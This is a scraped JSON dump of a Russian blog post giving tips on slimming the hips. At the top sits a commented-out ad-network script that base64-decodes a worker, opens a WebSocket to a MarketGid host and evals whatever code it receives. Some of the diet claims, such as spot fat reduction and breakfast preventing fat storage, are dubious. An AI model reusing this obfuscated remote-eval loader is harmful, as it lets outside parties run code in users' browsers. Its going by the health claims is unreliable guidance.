\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> «агрузка... \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Потеря веса может быть битвой для некоторых. Но, в то время, как некоторые части вашего тела легко поддаются этому, другим частям, таким как бедра, может потребоваться больше усилий и терпения. Из-за того, что бедра содержат больше жира, чем другие части тела, они являются общей проблемой для некоторых женщин, когда дело доходит до потери веса.\x3c/p>\x3cp>Каждый специалист по диете скажет, что любая цель потери веса должна быть решена во всех аспектах, включая сбалансированную диету и регулярные физические упражнения. То же самое относится к проблемным областям тела. Целевой режим тренировки в сочетании со здоровой диетой, по-видимому, дает наилучшие результаты.\x3cimg class=\"aligncenter size-full wp-image-66942\" src=\"//mtdata.ru/u3/photo7F61/20492206733-0/original.png#20492206733\" alt=\"\" width=\"600\" height=\"320\" srcset=\"http://fithacker.ru/wp-content/uploads/2017/07/How-to-Lose-Weight-from-Your-Hips-Fast.png 600w, http://fithacker.ru/wp-content/uploads/2017/07/How-to-Lose-Weight-from-Your-Hips-Fast-300x160.png 300w\" sizes=\"(max-width: 600px) 100vw, 600px\">Что касается вашего диетического режима, следующие советы чрезвычайно полезны для решения любой цели потери веса, включая потерю веса на бедрах.\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\x3cp>\x3cstrong>1 Уменьшить потребление калорий на 10-25%\x3c/strong>\x3c/p>\n\x3cp>В тот момент, когда вы начинаете уменьшать потребление калорий, ваше тело начинает использовать жир, хранящийся в бедрах. Это, в свою очередь, приводит к потере веса из этих областей.\x3c/p>\x3cp>\x3cstrong>2 Ваш завтрак — обязательный\x3c/strong>\x3c/p>\n\x3cp>Если вы пропустите завтрак, ваше тело будет бороться, чтобы сохранить накопленный жир, а не сжечь его.\x3c/p>\n\x3cp>\x3cstrong>3 Уберите рафинированные углеводы\x3c/strong>\x3c/p>\x3cp>Постарайтесь использовать углеводы в виде цельных зерен, таких как коричневый рис, лебеда, паста из цельной пшеницы.\x3c/p>\n\x3cp>\x3cstrong>4 Сократите потребление сахара\x3c/strong>\x3c/p>\n\x3cp>Если вы сохраняете лишний жир на бедрах, вы должны пересмотреть свое потребление сахара.\x3c/p>\n\x3cp>\x3cstrong>5 Увеличьте потребление фруктов и овощей\x3c/strong>\x3c/p>\x3cp>Естественно питательные и с меньшим количеством калорий, фрукты и овощи могут держать вас сытыми дольше, тем самым предотвращая переедание. Диета с высоким содержанием волокон не только будет удерживать тягу в страхе, но и значительно улучшит пищеварение и увеличит результаты потери веса.\x3c/p>\n\x3cp>Что касается тренировки, важно потратить больше времени на упражнения, нацеленные на конкретную область вашего тела, из которой вы хотите сбросить вес.\x3c/p>\n\x3c!-- A generated by theme -->\n\n \x3c!-- end A --> \n\n\n\x3cdiv id=\"subscribe_storyfox\">\n\x3cdiv class=\"subscribe_storyfox_inner\">\n\x3cp2>\x3cnoindex>\x3cnofollow>\r\n \x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>","comments_count":0,"marks_count":1,"likes":{"count":1,"user_likes":0,"can_like":0,"marks_pluses":1,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":1}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://mirpoleznuxsovetov.mirtesen.ru/blog/43145867825","tags":["Диеты","советы","похудеть","бедрах"],"date":1500454984,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20822988186,"photo_original":"https://mtdata.ru/u3/photoF61F/20822988186-0/original.jpg","width":600,"height":337}}],"group":{"display_name":"Страна Полезных Советов","url":"https://mirpoleznuxsovetov.mirtesen.ru","photo_original":"//mtdata.ru/u15/photoB2CE/20909902751-0/original.jpeg","id":30171049813,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1382453860907},"canonical_url":"http://fithacker.ru/articles/kak-byistro-pohudet-v-bedrah-rabochie-sovetyi/","topic":null,"title":"Как быстро похудеть в бедрах. Рабочие советы","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src =","post_type":"post","formattedDates":{"iso":"2017-07-19T09:03:04.000Z","ver1":"19 июля, 12:03","ver2":"19.07.2017 в 12:03","ver3":"19 июля, 12:03"},"images":[{"main":true,"url":"https://mtdata.ru/u3/photoF61F/20822988186-0/original.jpg","width":600,"height":337}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"бедрах","tagId":80897341175,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"channelId":null,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}